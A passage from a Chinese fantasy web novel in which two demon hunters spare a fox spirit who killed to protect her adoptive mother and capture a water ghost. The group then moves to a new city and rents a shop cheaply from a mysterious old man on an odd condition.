这演出可以说是一塌糊涂,如果是在戏院里,观众此时已经开始扔臭鸡蛋和菜梆子了。
但是,白灿灿居然不加思索就点了头。
她把扫帚和簸箕靠墙放着,双手在腰间的裥褶裙上擦了擦,说:“我现在有空,马上就可以带你们去。”
没想到她竟然这么好骗,纪映阳不由得有些讶异,若非她是身上背着命案的妖祟,他都要有些于心不忍了。
***
出了南淮城西门,沿着宽敞的石土路一直走,可以看见一条青草掩映的小径,小径深处就是西郊。
西郊是一片雾气蒙蒙的密林,茂密的树冠遮天蔽日,地
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上挨挨挤挤地长着各种花草。
白灿灿没有陪他们一起调查的打算,开口说:“你们调查完原路返回就好了。我还要做晚膳,若是没什么事,我就先回客栈了。”
她转身要走,突然听到身后传来一声冷冷的“且慢”。
她扭头一看,冉青云已掏出了寻妖罗盘。
寻妖罗盘感应到狐妖妖气,缠绕着铜线的磁针快速转动起来,最后缓缓停住,针尖直指几步之外的白灿灿。
纪映阳入住客栈当天,白灿灿就亲眼看见他拿着失灵的罗盘怨声连连地左调右试,因此认识寻妖罗盘长什么样子。
见状,白灿灿立马明白了自己的处境,额头淌下一滴豆大的冷汗。
她小心翼翼地踮脚往左挪了几步,指针跟着她偏了几度;又试探着往右行了半米,指针同样跟着她转了回来。
在她对面,两人一蛟齐刷刷跟着她的动作左右扭头,行注目礼。
一切都在不言中。
下一秒,白灿灿二话不说,转眼就化作一只白狐,“嗖——”的一声往树林深处跑。
冉青云:……
纪映阳:……
冉青云回神,快速对纪映阳说:“她虽往林里跑,但极可能会为了刘掌柜的传家宝绕回客栈。我们兵分两路,你去追她,我回客栈。出发!”
纪映阳得令,脚下一点,施展轻功,追着白灿灿风驰电掣地跑了。
***
冉青云回到客栈,没见着刘掌柜,索性直接到她卧房里守宝待狐。
那个装着传家宝的漆花红木箱此时正稳稳当当地放在雕花柜上。
玄隐看上去对这个红木箱很感兴趣,爬上柜子,对着它捣鼓了半天。
不多时,冉青云的传书玉玺闪了闪,是纪映阳发来了消息。
冉青云看完来信,松了一口气,和玄隐分享好消息:“纪映阳说,他已经追上白灿灿了。西郊北边有个湖,纪映阳把她堵在了湖畔东面的山洞里,现在正在山洞外布法阵,马上就可以将她就地正法。”
纪映阳的捉妖水平,不说登峰造极,至少也是游刃有余。
冉青云一点儿也不担心,整个人都放松了下来,窝在椅子里,笑眯眯地欣赏盘在红木箱上的小黑蛟。
因此,她没有发现,就在此时,刚回来的刘掌柜正捂着嘴、猫着腰躲在窗外,将这个消息听得一清二楚。
刘掌柜心跳如擂鼓,脸色铁青,瑟瑟发抖,拔腿跌跌撞撞地往外跑。
冉青云对此毫不知情,还沉浸在赏蛇的快乐之中。
过了一会儿,玄隐一个不小心,连带着红木箱从高高的雕花柜上跌落。
冉青云急忙起身查看——玄隐倒是没受伤,但红木箱却当即裂成两半,木屑碎片散落一地。
她定睛一看,这红木箱里锁着的,竟是纪映阳丢失的乾坤袋!
怎么回事?!
冉青云暗道一声不好,一边拿出传书玉玺给纪映阳发信,一边施展轻功加速赶往西郊山洞。
拜托了……
一定要来得及呀!
8. 第八回
冉青云心急如焚,一路飞檐走壁,出了南淮城更是马力全开,拔腿狂奔。
小黑蛟挂在她后颈,好几次都差点被颠下去,吓得脸色铁青,只好心惊胆战地把自己头尾相接地绑了个结固定住,看上去就像冉青云脖子上的一条蛇皮围巾。
与此同时,纪映阳却没功夫看传书玉玺。
在半个时辰前,纪映阳一路追着白灿灿跑入密林深处。
密林深处有一个不大不小的湖泊,一人一狐围着湖你追我赶了好几圈。
最后白灿灿慌不择路,误入湖畔东岸的山洞里。
这自然是纪映阳喜闻乐见的。
他法术强过刀术,施法还能和冉青云斗得有来有回,近战却只能屡战屡败。
若他与狐妖厮打,很难毫发无伤。
但如今狐妖躲在山洞里,他只需在外面布布法阵、念念法诀,就能轻轻松松将其捉拿。
不出一炷香的时间,纪映阳就布完降妖法阵,刚要掐诀念咒,刘掌柜突然气喘吁吁地窜了出来。
刘掌柜披头散发,汗流浃背,绣衫罗裙划破了一大道口子,隐隐沁出鲜血,极其狼狈。
纪映阳刚要问,她已踉踉跄跄地往山洞里跑。
石灰粉画出的白线被她一脚蹭断,降妖法阵功亏一篑。
纪映阳没办法,只能跟上,总不能让花甲之年的老妇人独自面对法力高强的九尾狐。
事发突然,他根本来不及去看腰间亮起的传书玉玺。
山洞里,白狐正躲在角落,炸毛瞪眼,警惕地盯着洞口。
似乎是因为跑得太急,她断尾处的伤口再次裂开,鲜血淋漓。
刘掌柜闯进山洞,与白狐目光相撞,双方皆是一愣。
此时,她们之间的距离只有不到三丈。
纪映阳急得心脏都快蹦出来了,大喊道:“别靠近!”
可刘掌柜置若罔闻,失魂落魄地抬脚往前走。
若纪映阳眼睁睁看妖祟杀人却不阻止,不说他会不会被逐出师门,自己也怕是要夜夜被自咎自责折磨得无法安睡。
他来不及念完定身咒,只好施展轻功欺身上前,从背后拔出寒光熠熠的黄铜师刀,将其高高举起蓄力,对着白狐就要挥刀直劈下去。
白狐有伤在身,又困在角落,躲闪不及,只能紧闭双眼,发着抖将怀里的尾巴抱得更紧。
刘掌柜年已六十,此时却爆发出惊人的力量,奋力往前一扑!
可惜终究是体力不支,双腿一软,面朝下摔在两米开外。
突然,纪映阳身后传来一声大喊——
“刀下留狐!”
说着,冉青云势如疾风,快如闪电,把桃木剑往地上一刺,单手撑着剑柄做了个利落的侧空翻,身飞半空,一脚踹向纪映阳。
弹指间,纪映阳被踹出去五米远,屁股着地,痛呼出声。
他的刀脱手飞出,刀锋从白狐右脸旁掠过,削落了几根胡须。
刘掌柜摔得极惨,半边脸都是沾着沙砾碎石的擦伤。
可她却毫不在意,手脚并用地爬到白狐身边,一把将白狐紧紧搂在怀里,嘴里发出了一声痛苦压抑的呜咽,随后泪水决堤。
她箕坐在地,抱着白狐劫后余生地痛哭起来。
纪映阳还保持着摔了个屁股墩的姿势,难以置信地问:“你、你为什么要护着她?她就是那只伤了你的狐妖啊……”
刘掌柜已是泪流满面,情绪失控,哑着嗓子大吼道:“灿儿才不会伤我!”
原来她早已知道白灿灿是九尾狐妖了。
在她怀里,白狐浑身发抖,琥珀般的漂亮眼睛泪如泉涌,眼泪濡湿了脸上的白色绒毛,留下两条深深的泪痕。
刘掌柜将白狐往怀里藏,让她的脸紧紧靠着自己的胸膛,好不让别人瞧见。
刘掌柜嗓子发紧,牙齿打颤,每一个字都像从齿缝间硬生生挤出来,说得非常用力:
“那晚伤我的是张铁柱那个杀千刀的混蛋!”
“灿儿只是想保护我!”
“张铁柱他死有余辜!”
纪映阳被这一连串愤怒的语言炮弹狂轰乱炸,顿时呆若木鸡,愣在原地。
冉青云捡起掉在地上的刀,插回纪映阳刀鞘里,又扯着他的领子,拖着他一起后退了几步,停战意味很明显。
她尽可能地让自己显得和颜悦色,语气温和地说:“你们放心,我们绝不是滥杀无辜之人,当时究竟发生了什么,可以和我们说说吗?”
一刻钟前,她发现那红木箱里藏的是纪映阳的乾坤袋,立马意识到,既然是刘掌柜偷了乾坤袋,那她与狐妖一定是一伙的。
这么说来,她身上的伤就不是狐妖所为,一切另有隐情。
于是,她当机立断,给纪映阳发消息告知此事。
见纪映阳没有回复,她只好一路咬牙狂奔,竭尽全力防止白灿灿成为纪映阳的手下冤魂。
刘掌柜依旧抱着白灿灿不撒手,红着眼睛瞪着他们,呼吸急促,胸口剧烈地起伏着。
见冉纪二人确实没有攻击的动作,她嘴唇翕动半晌,才终于开口,将一切娓娓道来——
“张铁柱觊觎客栈的营收,想要害命谋财。”
“当晚,他闯入我卧房,欲趁我熟睡时掐死我。”
“我惊醒后奋力挣扎,灿儿听到声响,下楼查看,见我被重伤,失控化形,误杀对方。”
“我担心灿儿被抓,就把尸体和冰块一齐放入猪槽里,想着第二天找地方抛尸,伪造死亡时间,洗脱灿儿的嫌疑。”
“刚藏完尸,巡捕就出现了,我只好就地装晕,倒在猪圈旁……”
原来如此,难怪店小二手上也有伤口。
定是白灿灿进门时正巧看到店小二掐着刘掌柜脖子,于是冲上前咬住他的手腕,逼他松手。
此外,巡捕进入院子时觉得寒气逼人,则是因为当时猪槽里藏着许多冰。
差点儿误杀好妖,纪映阳心里也不好受。
他嘀咕道:“怎么不一早就讲清楚?害得我们还……”
话没说完,他突然意识到自己问了个多蠢的问题。
妖族向捉妖师自曝身份,其离谱程度不啻于鸡给黄鼠狼拜年。
他撇着嘴耸了耸肩,“……当我没说。”
直到这时,白灿灿才大着胆子从刘掌柜怀里抬起头。
她的脸早已被泪水打湿,原本蓬松的尾巴也被血浸成一缕一缕的,缀着些已发黑的血痂。
见白灿灿如此可怜,刘掌柜简直是椎心泣血,嚎啕大哭道:“你这傻孩子,我明明早就劝你离开这里,改头换面,隐姓埋名,哪里还用遭这种罪!”
把白灿灿堵在山洞里的纪映阳瞬间成了大恶人。
他举手投降,解释道:“那啥,其实她是跑太快伤口裂开了……我就追过来布了个法阵,连催动都没来得及,真没有伤着
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她……”
冉青云却抓住了刘掌柜话里的重点,问白灿灿:“对啊,你明明可以一走了之,为什么还一直不愿离开?”
白灿灿犹豫了一下,如实说:“因为水鬼,院子水井里有水鬼。”
原来如此。
当晚白灿灿逃跑时被水井卡住,其实是水鬼抓住了她的尾巴。
她熬更守夜地坐在井边,是怕那水鬼害人。
成衣铺黄大婶大半夜听到的奇怪声响,则八成是白灿灿在与水鬼打斗。
白灿灿严肃道:“那水鬼凶恶至极。除我之外,整个南淮城都是普通百姓,对上水鬼就如俎上鱼肉一般任其宰割。”
她补充说:“就算娘亲把客栈卖了搬离此处,客栈的新主人也会深受其害。所以我不能走。”
纪映阳肃然起敬:“姑娘大义!”
一般来说,捉妖师遇着伤人杀人的妖怪,都是毫不留情地当场格杀。
但冉青云和纪映阳不仅停了手,还愿意听她们言缘由、道委屈。
白灿灿发现,他们似乎和别的捉妖师不一样。
她从刘掌柜怀里起身,往前走了几步,恭恭敬敬地跪下,朝冉纪二人磕了个头,哭着说:“我知两位大师心善,求你们大发慈悲,将那水鬼捉拿,还南淮城安宁,之后我定会主动去官府投案!”
虽然场面很严肃,但小狐狸在地上跪作一团,活像只毛绒玩偶,可爱得不得了。
冉青云温柔地扶起她,嘴里却斩钉截铁地说:“不行。”
白灿灿愣住了,下一刻却听冉青云说:“我不会允许你去投案的。”
白灿灿怔怔地问:“啊?那岂不是罔顾法纪……”
冉青云点头:“确实是罔顾法纪。”
她正言厉色起来:“官府明文规定,凡杀人而义者,酌情轻判;其中,过失杀人且主动投案者,理应赦免。”
“你护母心切、手刃仇人,此为孝;心系百姓,舍己为人,此为善;承认错误、投案自首,此为义。”
“此乃孝善义三全,若你是人类女子,官府不仅不会治你的罪,反而会大大表彰。”
讲到这,她声音一顿,语带嘲讽地说:“可你却是妖族。对待妖族,官府根本不会去考正曲直。只要妖族杀了人,便可不分青红皂白就地格杀。”
“若你去了官府,刚禀明自己是杀人的妖,话音还未落地,人头就已落地了。”
冉青云忿忿不平:“这世间哪有这样的道理?如此不公的法纪,我们为什么要遵守?”
白灿灿娘俩听得心潮澎湃,忍不住又泪流满面。
纪映阳问:“那捉妖一事,我们该如何向官府交差?”
冉青云挑了挑眉,狡黠一笑,说:“捉什么妖?哪有妖?分明是那水鬼先伤刘掌柜,又杀店小二,还作出狐妖幻象来迷惑巡捕、混淆真相。”
她总结:“既然如此,只要把那水鬼逮了上交官府,不就皆大欢喜了?”
闻言,纪映阳摩拳擦掌,干劲冲天:“好哇好哇,那接下来我们怎么痛打落水鬼?”
他在捉妖上天赋异禀,对于捉鬼却是一窍不通,只能向冉青云请教。
冉青云没有赐教,只是将视线悠悠地钉在他脸上。
白灿灿和刘掌柜不明所以,但也顺着冉青云的视线望向他。
纪映阳眨眼间就被三道目光牢牢锁定,他瞪大眼睛,惊讶地指着自己:“欸,我打水鬼?”
9. 第九回
短短十二个时辰不到,纪映阳的屁股可谓是多灾多难。
先是半夜被猪啃了个窟窿,方才又结结实实摔了个屁股蹲,长袍后摆被碎石划拉开一个大口子。
但他此刻已无暇顾及此事。
他正席地坐在客栈院子里,竭尽全力地想让冉青云收回成命、另寻他法:“师姐,不如这样,我们几个人坐下来好好讨论,集思广益,说不定能想出更好的法子,您觉得怎么样?”
“不怎么样。”
冉青云冷酷得像没有感情的杀手。
纪映阳好说歹说,嘴皮子都要磨破了,她却只是面无表情地将捆在他身上的粗麻绳绑得更紧。
纪映阳被五花大绑,只能摇头晃脑:“师姐!我可是你最可爱的亲师弟啊!难道你忍心把我丢进水井里喂水鬼吗?”
很明显,冉青云不仅忍心,更是狠心。
她一边将纪映阳提起来颠了两下,试了试绳结的结实程度,一边纠正道:“不是喂水鬼,是钓水鬼。”
生前作恶多端、不能转世投胎的恶人意外死于水中,便会成为害人恶鬼,这种恶鬼被称为水鬼。
水鬼常年在水底游荡,沿着水路,可以从江河湖海溜进寻常人家的水井里,伺机而动,找机会将活人拖入水中,活活淹死,使人沦为替死鬼。
水鬼在水中来去自如,而人又无法在水里屏气太久。
若是跳入井里和水鬼搏斗,可以说是自掘坟墓、毫无胜算。
因此,想要抓住水鬼,就得想办法将他从井里引出来。
而想要将他引出来,只能将人当作饵料,身上系着绳子,钓鱼似的把水鬼钓出来。
院子里,刘掌柜房门紧闭,门上牢牢贴着冉青云亲手绘制的保护符。
保护符由朱砂绘成,笔走龙蛇,符文上隐隐闪着红光,淡淡的红光形成了一个将鬼怪拒之门外的结界。
刘掌柜抱着白狐,安安全全地躲在卧房里,探着头透过窗户看戏。
小狐狸依偎在她怀里,抬起头,心疼地舔舐着她脸上擦破了皮的伤口。
窗外,纪映阳绞尽脑汁,一劝再劝:“师姐,要不这样,把小黑蛟绑下去如何?之前水鬼冒头抓的是九尾狐,说不定他就好妖怪这口,咱们得尊重人家的饮食爱好!”
小黑蛟玄隐心思单纯,觉得纪映阳言之有理,虽然心里害怕,仍是探出脑袋,鼓起勇气地说:“那要不就绑我下去好了……”
冉青云却不给他这个机会,一手抓紧麻绳,一手拎起纪映阳就往井里丢。
纪映阳直接一个自由落地的大动作,撕心裂肺的尖叫声在井里荡起,回音连连,久久不绝。
他从小天不怕地不怕,就怕幽灵和鬼煞。
井底一片漆黑,他更是吓得心惊肉跳、吱哇乱叫。
过了一会儿,他突然声嘶力竭地大喊起来:“鬼抓我腿了!鬼抓我腿了!救命啊啊啊啊啊啊!!!”
闻声,冉青云立马后倾身子,两手交替握紧绳索,鼓足劲往上拉。
“我勒个豆!水鬼在摸我屁股!”纪映阳的屁股又遭殃了,他一边尖叫着播报实时情况,一边焦急地连声疯狂催促,“冉青云!我求求你!能不能再拉快一点啊啊啊!!”
冉青云手劲很大,三下五除二就将纪映阳从井里提溜了出来。
原本抓着纪映阳屁股的水鬼被刺眼的阳光晃了眼,双眼一眯,下意识松了手,慌慌张张地在院子里抱头鼠窜起来。
这水鬼身形足足有一丈余长,双目血红,满嘴獠牙,周身笼罩着一团浓郁的阴森黑气,散发着令人窒息的腥臊恶臭。
瞧见他的样子,冉青云心中有了几分推断:这水鬼煞气如此之重,定是已在别处害了不少人的性命。
纪映阳瘫坐在井边,脸色苍白,大口喘着粗气,已是吓得魂不附体,双腿哆嗦得连站起来都吃力。
提前布好的锁鬼阵将院子笼罩在无形的防御罩内,形成一个固若金汤的透明结界。
水鬼本想往外奔逃,却一头撞上结界。
只见电光一闪,他瞬间被反弹回来,仰面朝天地摔了个四仰八叉,额上已是一片焦黑的烫伤。
冉青云拿出镇鬼葫芦,大喝一声水鬼姓名,嘴里念念有词:“吾行一令,诸神有请,魑魅魍魉,速速就擒!”
闻言,水鬼痛苦地嚎叫起来,化作一团黑雾,飕的被吸进葫芦里去。
他还不死心,在葫芦里上蹿下跳,撞得葫芦是左摇右摆。
冉青云忍无可忍,运力一掌拍上葫芦肚。
只听“砰”的一声,葫芦终于消停了。
刘掌柜与白灿灿大喜过望,激动地相视一笑。
白灿灿变回人形,和刘掌柜挽着手一齐从屋内走出来,腿一弯又想行拜礼言谢。
冉青云伸手托住,摇着头说:“不必言谢,为民除害本就是我们分内之事。”
她晃了晃手中的镇鬼葫芦,眼里闪着巧黠的光,笑着说:“接下来还得将这水鬼上交官府,把他‘伤害刘掌柜、杀死店小二的罪行’好好讲清楚。你们作为受害人和证人,不到场可不行呀。”
魂飞天外了好一会儿的纪映阳终于回过神来,颤颤巍巍地撑着水井站起来,有气无力、声若蚊蝇地说:“我、我也一起去……”
***
一行人来到官府,将镇鬼葫芦交与捕头,把事情如此如此、这般这般地讲了一遍,诿过于那杀人如麻的水鬼身上。
冉青云手头里还有一个关着霍家村剥皮鬼的镇鬼葫芦,也顺手上交了官府。
驱鬼人平日里会在各个城镇例行巡逻,等驱鬼人来了南淮城,衙役自会把镇鬼葫芦交给他们。
此事已了,回程路上,大伙儿皆是如释重负、步履轻快。
纪映阳眉开眼笑地恭喜刘掌柜:“水鬼已经被抓,嫌疑也已洗清,以后你们终于高枕无忧,想必客栈重新开张的日子也不远了。”
刘掌柜却无奈地摇摇头,说:“客栈里出了这等糟心事儿,开么肯定是开不下去了。”
但她眼里丝毫不见痛苦,只有劫后余生的侥幸:“灿儿和我都平平安安的,这便是最好的结果了。我打算把客栈卖了,带着灿儿去其他地方谋求生计。”
闻言,冉青云没有犹豫,开口问道:“那你们要不要考虑一下跟我走?”
玄隐本来挂在冉青云脖子上,随着她的步伐轻轻摇摇地摆,晃悠得昏昏欲睡。
听见冉青云说了这话,他
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一激灵,瞬间清醒了——这话怎么听着那么耳熟?!没有记错的话,前几天冉青云也才刚刚对他说过吧?
冉青云极目远眺,看向远处城外连绵群山,说:“我时常在想,为何如今人族与妖族水火不容?明明妖族里也有善良可爱之辈,人族却只视他们为豺狼虎豹。”
“后来我想明白了,其实答案很简单——因为很多人根本就没想过要去了解妖族。”
“那些人们自以为高高在上,哪怕妖族和他们一样有思想、有情感,也将其视如草芥,自然会草菅妖命。”
“所以,既然他们宁愿一叶障目也不愿主动了解,那我就要将妖族里一切美好的事物展示到他们面前,逼得他们看也得看,不看也得看!”
“这就是我想为之奋斗的事情。或许,哪怕花上十年,甚至是二十年、三十年,都不一定能使人妖两族握手言和,化干戈为玉帛。”
她看向各位,真诚地问:“即便如此,你们愿意助我一臂之力吗?”
这些话在白灿灿心里掀起了惊涛骇浪。
她幼时丧母,一路跌跌撞撞地活着,即使后来遇见了好心的刘掌柜,她也早就习惯了如履薄冰的日子。
不仅不隐藏妖的身份,还要主动把自己展示出来,这是她闻所未闻、超乎想象的事情。
小黑蛟倒不在意这些大道理,他只知道冉青云这意思是想再收一只妖宠了。
眼见自己独享宠爱的地位岌岌可危,他急忙抢着第一个表现自己,大呼:“我愿意!我愿意!你去哪我去哪,你让我干啥我就干啥!”
至于纪映阳,他自小就是冉青云的跟屁虫。冉青云养蛇,他也要养;冉青云逃课,他也偷懒。
冉青云都不用听他的回答,就知道他肯定不会拒绝。
刘掌柜和白灿灿对视一眼,用力攥紧了对方的手。
然后,她们转过头坚定地看着冉青云,异口同声地说:“我愿意!”
只有小黑蛟闷闷不乐,“啊”了一声,对着冉青云嘟嘟囔囔:“还没过几天,你怎么又要养新的宠物?”
他这委屈的可怜模样把大家都逗笑了。
刘掌柜笑得最大声,她拭去眼角笑出的泪花,对小黑蛟说:“你搞错啦,这只小狐狸是我在养哦!”
说罢,她浅笑盈盈地看向身旁的白灿灿,温情脉脉,满怀爱意。
***
考虑再三,冉青云决定带着大家前往天虞城。
天虞城四通八达、繁荣富饶,生活着很多安居乐业的百姓,是个宜居之地。
事情定下来后,刘掌柜开始忙着变卖客栈,白灿灿也着手清点行囊盘缠。
冉青云则带领着玄隐和纪映阳,在南淮城里从街头逛到巷尾,从酒肆玩到戏院,非常堕落地吃喝玩乐了整整三天。
第三日傍晚,一切准备妥当。
三人一蛟一狐从客栈出发,就此踏上征途。
在他们身后,落日融金,暮云合璧。
客栈屋脊上方挂着一轮残阳,无垠的天穹漾满了酡红的落霞,霞光万丈,宛若仙境,是世间难得一见的好景。
但他们没有回头。
他们言笑晏晏,昂首阔步,一齐走向漫漫前路。
10. 第十回
天虞城里没有明显的坊市界限,市里有居民安家,坊内也可设商铺。
不过,城中还是有两片比较集中的大型瓦市,名为西坊街与东苑巷。
西坊街位于天虞城西南方,四海之珍奇集聚,中外之商旅云集。
与靠近城主府、主要服务达官贵人的东苑巷不同,西坊街以大众化、平民化著称,也因此客流更多,规模更大。
西坊街的主路五丈余宽,大道笔直,贯通南北,好似一条川流不息的大河。而从主路上延伸出来的蜿蜒小道,则如同枝桠般的繁密支流。
小道两侧屋宇星罗棋布,商铺门前用于招揽生意的锦旆招幌随风飘荡,像一尾尾斑斓的鱼,在这纵横交错的川流中不分日夜地游动。
冉青云对天虞城的这些了解,来源于她的师姑——辛夷真人。
辛夷真人是冉青云师尊凌霄真人的师妹,于几十年前学成后下山,隐退后定居在天虞城内,只有每年正月初一会回玉清山庄参加祭祀庆典。
儿时的冉青云正是从她那里听说了天虞城的点点滴滴。
如今,辛夷真人已仙逝多年,天虞城的繁华程度却不减当年。
一进天虞城,冉青云就领着一行人目标明确地直奔西坊街。
抵达时正好是午时时分,西坊街车水马龙,熙来攘往,人声鼎沸。
街道两旁店肆林立,人来人往热闹非凡;街边小贩挑着担子,走街串巷四处吆喝;西域商队驼铃叮当,驮着货物悠悠前行。
三人一蛟一狐都没见过这阵仗。
白灿灿和刘掌柜常年住在南淮城。南淮城规模之小,就连当时年过六十的刘掌柜从城东的客栈一路磕磕绊绊跑到城外西郊,才花了不到半个时辰。
在这天虞城,就算是冉青云施展轻功蹿房越脊,估计一个时辰也跑不出去。
而冉青云和纪映阳打小在山上长大,去过最热闹的集市就是山脚的一条摊贩巷子,连个正儿八经的店铺都没有。
他俩刚学成下山,出来闯荡还没过多久,正是没见过世面的年纪。
玄隐就更不用说了,他胆子小,虽然在外游历许久,但都是在荒郊野岭游山玩水,连巴掌大的小村子都不敢靠近,更别说如此规模的超大城市了。
五个土包子立马被这花花世界迷了眼。
酒肆支了个摊子在店门口卖窑鸡,香味扑鼻。
狐狸本就爱吃鸡,白灿灿一闻到这香味就走不动腿了,站在摊位前馋得直流口水。
刘掌柜暗笑,掏出荷包给宝贝闺女买单。
白灿灿扯下两个大鸡腿,一个分给金主妈妈刘掌柜,一个分给救命恩人冉青云,最后不情不愿地给了纪映阳一个小鸡翅——她还在记恨纪映阳像狗似的追了她半天的事儿呢,这小鸡翅已是看在他师姐冉青云的面子上了。
接着,白灿灿顾不上斯文,捧着窑鸡吭哧吭哧地啃起来。
玄隐原本盘在冉青云衣领里,此时循着香味探出头。
冉青云撕下鸡腿上的一小块鸡肉,喂到他嘴里。
玄隐吃得两眼放光,忍不住小声惊呼:“太好吃啦!我第一次吃到这么好吃的东西!”
看着玄隐美滋滋地鼓着腮帮子嚼嚼嚼,冉青云忍俊不禁,充分体会了投喂的乐趣。
不过玩归玩,正事当然也不能忘。
既要在天虞城谋求生计,又要发展冉青云口中那促进人妖两族和谐的大业,就需要一个既能做生意、又能当据点的地方。
在来的路上,他们几人已经商量好了,这一次,他们不办客栈,办茶楼。
刘掌柜开了大半辈子的客栈,深知其中不易,现在年纪大了,已是心有余而力不足,没有精力去打理了。
刘掌柜做什么都是认认真真、全力以赴,从前为了客栈没日没夜地操劳,落下一身伤病。
白灿灿一直心疼得很,可客栈是刘掌柜的半生心血,她也没法劝刘掌柜撂下担子不干,只能尽力多做些事、多帮点忙。
对于不开客栈开茶楼一事,白灿灿自然举双手赞成。
更何况,他们在天虞城人生地不熟的,开客栈又要招厨子又要招跑堂,繁琐事务太多,光是筹备就要花不少银子、费不少时间。
而开茶楼就不一样了,修整修整大堂和房间,置办几套桌椅,再采买些上好的茶叶和点心,就万事大吉了。
于是,他们一拍即合,决定开一个茶楼。
当务之急是先找到一个合适的店面。
刘掌柜变卖锦绣客栈得了不少银两,再加上几十年来的积蓄,还有冉纪二人下山时带上的盘缠,这支小队伍可以说是荷包鼓鼓。
虽说天虞城房价居高不下,但租几年店面还是绰绰有余的。
西坊街商铺多如牛毛,其竞争之激烈可想而知,商铺更新换代也快。
生意不好的铺子可能开上个十天半个月,就不得不关门大吉。
街边正在装修的新店很多,挂着“旺铺招租”告示的店面也不少。
冉青云自认为对于店面的要求也不算太高——价格不那么离谱,地段不那么偏僻,最好前身是家客栈,一楼大堂当茶馆,二楼客房作他们几人的寝所,这样就不用另寻住处了。
可逛来逛去,要么是报了天价,要么是店面太小,一直没找到合适的。
几人正商量着去别的地方瞅瞅,突然,一个破锣似的声音喊住了他们。
“各位是在找出租的铺面吧?”
转身望去,是一位须发半白的古稀老人,蓄着一绺斑白的山羊须,身穿一件圆领对襟小袖长袍,头戴一顶青色顺风幞头帽。
他满脸皱纹,笑得很慈祥,和蔼地说:“不如去看看我家铺子合不合你们心意?我带路。”
这位老人家的铺子位于西坊街主路中段,是一个极好的地段。
这铺面先前正巧是个小客栈。一楼大堂比较杂乱,堆满着杂物废品,尘土飞扬。二楼相对而言好一些,一共有四间客房,稍微收整一下床铺、买好新的被褥枕头就可入住。
确实很合他们心意。
可他们之前分明在这店前来来回回走过几次,根本没看见门口贴着招租告示,这是怎么回事?
纪映阳心直口快,直接问了。
老人手捋白须,不紧不慢地说:“这自然是因为,我只租给有缘人。”
故弄玄虚。
冉青云心里暗暗吐槽,面上却不显,问道:“那如何才称得上是有缘人?”
老人回答了一句废话:“有缘了,自然称得上是有缘人。”
纪映阳性子急,直接说:“老人家,我们到底能不能租?若是能租,房赁又是多少?你直接给句准话吧。”
老人依旧温温吞吞:“常言道,话到舌尖留半句。老夫从来不给人准话。”
无语。
感觉被戏耍了。
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>冉青云耐心耗尽,皱着眉说:“不租算了,我们再找找别的。莫名其妙。”
老人伸手拍了拍冉青云的肩,“年轻人,语气没必要那么冲嘛,不租就不租呗。”
说完,他摆摆手,表示走好不送。
冉青云却神情一凛,青筋暴起,紧握拳头,向前猛地挥出右拳,怒吼道:“还给我!”
众人不明所以,老人却已反应过来,单掌出迎,稳稳接下她这一拳,随后又手掌一转,牢牢攥住冉青云手腕。
他哈哈大笑起来:“真是后生可畏!小小年纪武功就如此高强!”
定睛一看,他另一只手里此刻竟抓着一条小黑蛟。
除了冉青云,其他几人根本没觉察到他偷蛟的动作,就连当事蛟玄隐都晕晕乎乎,只觉得眼前一晃,天旋地转,不知发生了什么,突然就跑到人家手里了。
冉青云右手手腕被他攥住,干脆脚下一点,借力使力,凌空一跃,使出一记侧踢腿,直冲老人正脸。
老人反应极快,身形一闪,半蹲下身子,堪堪躲过,只有幞头帽被一脚踢飞——
露出了一个光滑无比的地中海秃头。
……
冉青云不由得动作一顿。
老人恼羞成怒:“没见过秃头吗!到了老夫这年纪的男人有几个不秃头的?!”
虽说一脸怒气,但他却松开了冉青云的手,把小黑蛟稳稳当当地放回了她的手里。
老人捡起掉在地上的帽子重新戴上,假装无事发生,又装出一副仙风道骨的样子,摸着自己的山羊胡,说道:“奇哉奇哉,老夫看你身法是玉清山庄一派的路数,分明就是个捉妖师,却对这蛟妖如此呵护。”
玄隐刚回到冉青云手里,听见自己妖族身份暴露,又吓得一路溜进她袖子里。
见状,老人笑道:“现在知道怕了?刚刚在大街上吃着鸡肉夸好吃的时候怎么不怕?若是换了别人,看到黑蛟开口说话,吓都吓死了!”
老人又说:“不过你运气倒是不错,有个护着你的好主人。巧了,老夫我找的有缘人就是这样的人。”
说完,他笑呵呵地对冉青云等人抱拳行礼,说:“正式介绍一下,老夫行不更名坐不改姓,江湖人称天虞鬼见愁——庞千山是也。”
语气得意又猖狂,一听就是大佬爆马甲。
可惜,这名号再好听,在场五个土包子没一个听说过的。
面对冷场,庞千山多少有些尴尬,但他不愧是老江湖,立马收拾好表情,讲起正事:“你们有没有想过,若蛟妖身份暴露,不管你们花了多少钱租房子,定会被房东扫地出门。”
他背过手,看向铺子外的西坊街,“整条街上,估计只有老夫愿意把店面租给你们了。看来这铺子,你们是不得不租了。”
听他话里话外的意思,似乎是要坐地起价。
但他说的也不无道理,寻常人家都不愿意自家租客是妖,就算房东得知真相后毁约赶人,冉青云他们隐瞒妖族身份再先,有苦也难言。
于是,冉青云说:“那你先出价吧。”
大不了待会再讨价还价,试探试探价格弹性。
谁知庞千山却说:“就按这街上房赁均价的三成,你们觉得如何?”
这么好的铺面打三折?!
天下还能有这种掉馅饼的好事?
果然,只听他接着说:“但是,你们要答应老夫一个条件。”
11. 第十一回
听到庞千山说自己有一个条件,冉青云等人都露出了果然如此的神情。
这么好的地段,这么低的价格,有附加条件才是合乎常理的,只要不要求他们杀人放火就行。
过了这村可就没这店了。
哪怕这老人的条件是要当场把他供作祖宗,冉青云都会毫不犹豫地让纪映阳立马端茶倒水、溜须拍马地当孙子。
于是,冉青云点点头:“你但说无妨。”
庞千山摸了摸自己的山羊胡,将自己的条件娓娓道来:“这个事儿嘛……倒也不难,甚至可以这么说,它不过是举手之劳。”
“我有一位老友,名叫陈三妹,她怕寂寞,好交友。她也住在天虞城里,你们总有一天会遇上的。只要你们遇见了她,就必须邀请她来茶楼做客,好吃好喝地伺候着。”
他补充说:“而且,不能让她知道这是我嘱付的。”
啊?
这样就行了?
既然说是他的老友,那想来也是一位垂暮之年的老妇人。
不顾风险将铺面租给他们,还开出如此低价,就为了让他们遇见这老太太就邀请她来茶楼玩?
更何况,天虞城这么大,能不能遇见这老太太还另说呢。
有便宜不占王八蛋,冉青云一口应下,写了契,豪爽地预付了三年的租赁定金。
一手交钱一手交店,冉青云一行人自然是捡了大便宜,可那老人看上去居然也开心得像行了大运,笑眯眯地摇头晃脑,一蹦一跳地走了。
租铺子一事就如此莫名其妙地圆满完成了。
经过几人投票表决,茶楼的名字也很快定下了。
